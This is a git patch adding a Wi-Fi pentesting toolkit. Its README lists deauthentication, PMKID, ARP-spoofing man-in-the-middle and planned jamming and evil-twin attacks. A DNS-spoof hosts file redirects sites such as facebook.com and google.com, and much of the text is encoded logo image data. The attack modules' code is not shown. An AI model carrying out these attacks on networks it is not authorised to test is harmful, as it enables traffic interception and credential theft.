From c741f332d71e3e92d7d83da7b8dc2921ebbabad3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Javier=20L=C3=B3pez-Nieto?= Date: Fri, 19 Jun 2020 13:34:16 +0200 Subject: [PATCH] Adding the complete toolkit --- README.md | 24 +++ dns.spoof.hosts | 5 + images/logo.png | Bin 0 -> 49857 bytes key_material/note.txt | 1 + parameters.yaml | 9 + smart/__init__.py | 61 +++++++ smart/__pycache__/__init__.cpython-37.pyc | Bin 0 -> 1904 bytes smart/__pycache__/learn.cpython-37.pyc | Bin 0 -> 5487 bytes smart/__pycache__/state.cpython-37.pyc | Bin 0 -> 2033 bytes smart/learn.py | 183 ++++++++++++++++++++ smart/state.py | 70 ++++++++ spartan/__init__.py | 0 spartan/__pycache__/__init__.cpython-37.pyc | Bin 0 -> 154 bytes spartan/__pycache__/automata.cpython-37.pyc | Bin 0 -> 4822 bytes spartan/__pycache__/capture.cpython-37.pyc | Bin 0 -> 3939 bytes spartan/__pycache__/crack.cpython-37.pyc | Bin 0 -> 1530 bytes spartan/__pycache__/scan.cpython-37.pyc | Bin 0 -> 1756 bytes spartan/__pycache__/spoof.cpython-37.pyc | Bin 0 -> 3677 bytes spartan/__pycache__/utils.cpython-37.pyc | Bin 0 -> 748 bytes spartan/automata.py | 162 +++++++++++++++++ spartan/capture.py | 152 ++++++++++++++++ spartan/crack.py | 51 ++++++ spartan/scan.py | 70 ++++++++ spartan/spoof.py | 153 ++++++++++++++++ spartan/utils.py | 16 ++ wifi_spartan.py | 60 +++++++ wifi_whitelist.txt | 0 27 files changed, 1017 insertions(+) create mode 100644 README.md create mode 100644 dns.spoof.hosts create mode 100644 images/logo.png create mode 100644 key_material/note.txt create mode 100644 parameters.yaml create mode 100644 smart/__init__.py create mode 100644 smart/__pycache__/__init__.cpython-37.pyc create mode 100644 smart/__pycache__/learn.cpython-37.pyc create mode 100644 smart/__pycache__/state.cpython-37.pyc create mode 100644 smart/learn.py create mode 100644 smart/state.py create mode 100644 spartan/__init__.py create mode 100644 spartan/__pycache__/__init__.cpython-37.pyc create mode 100644 spartan/__pycache__/automata.cpython-37.pyc create mode 100644 spartan/__pycache__/capture.cpython-37.pyc create mode 100644 spartan/__pycache__/crack.cpython-37.pyc create mode 100644 spartan/__pycache__/scan.cpython-37.pyc create mode 100644 spartan/__pycache__/spoof.cpython-37.pyc create mode 100644 spartan/__pycache__/utils.cpython-37.pyc create mode 100644 spartan/automata.py create mode 100644 spartan/capture.py create mode 100644 spartan/crack.py create mode 100644 spartan/scan.py create mode 100644 spartan/spoof.py create mode 100644 spartan/utils.py create mode 100644 wifi_spartan.py create mode 100644 wifi_whitelist.txt diff --git a/README.md b/README.md new file mode 100644 index 0000000..226e9ac --- /dev/null +++ b/README.md @@ -0,0 +1,24 @@ +# Wi-Fi Spartan ⚔️ +Smart pentesting toolkit for modern WPA/WPA2 networks ⚔️📡 + +![alt text](https://github.com/javiln8/wifi_spartan/blob/master/images/logo.png?raw=true) + +### Requirements +The toolkit uses `bettercap` as its backend framework for attacking networks. Can be installed with any packet manager. + +### Usage +Run `python3 wifi_spartan.py --help` to see all available commands and options. To see all available options of a function, run `python3 wifi_spartan.py --help`. + +Wi-Fi spartan modules: +- [x] `scan`: wireless spectrum scanner +- [x] `deauth`: deauthentication attack to attempt to capture the 4-way handshake +- [x] `pmkid`: PMKID client-less attack +- [x] `spoof scan`: local network hosts scanner +- [x] `spoof spy`: MiTM attack with ARP spoofing +- [x] `automata`: wardriving automation with deep reinforcement learning techniques. + + +### Future implementations +- [ ] `jam`: WiFi jamming with packet flooding +- [ ] `rogue`: Evil Twin attack +- [ ] `crack`: dictionary attack to attempt to crack the PSK diff --git a/dns.spoof.hosts b/dns.spoof.hosts new file mode 100644 index 0000000..c95db8d --- /dev/null +++ b/dns.spoof.hosts @@ -0,0 +1,5 @@ +1.2.3.4 facebook.com +1.2.3.5 linkedin.com +1.2.3.6 netflix.com +1.2.4.6 www.google.com +1.2.5.7 www.reddit.com diff --git a/images/logo.png b/images/logo.png new file mode 100644 index 0000000000000000000000000000000000000000..a465e0f2baa0908436511b5af3cd60553f6d393d GIT binary patch literal 49857 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%0Ad_#OlhXan#9Wp`Jao8UMvF4qRrtd}}4HhJ}a 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 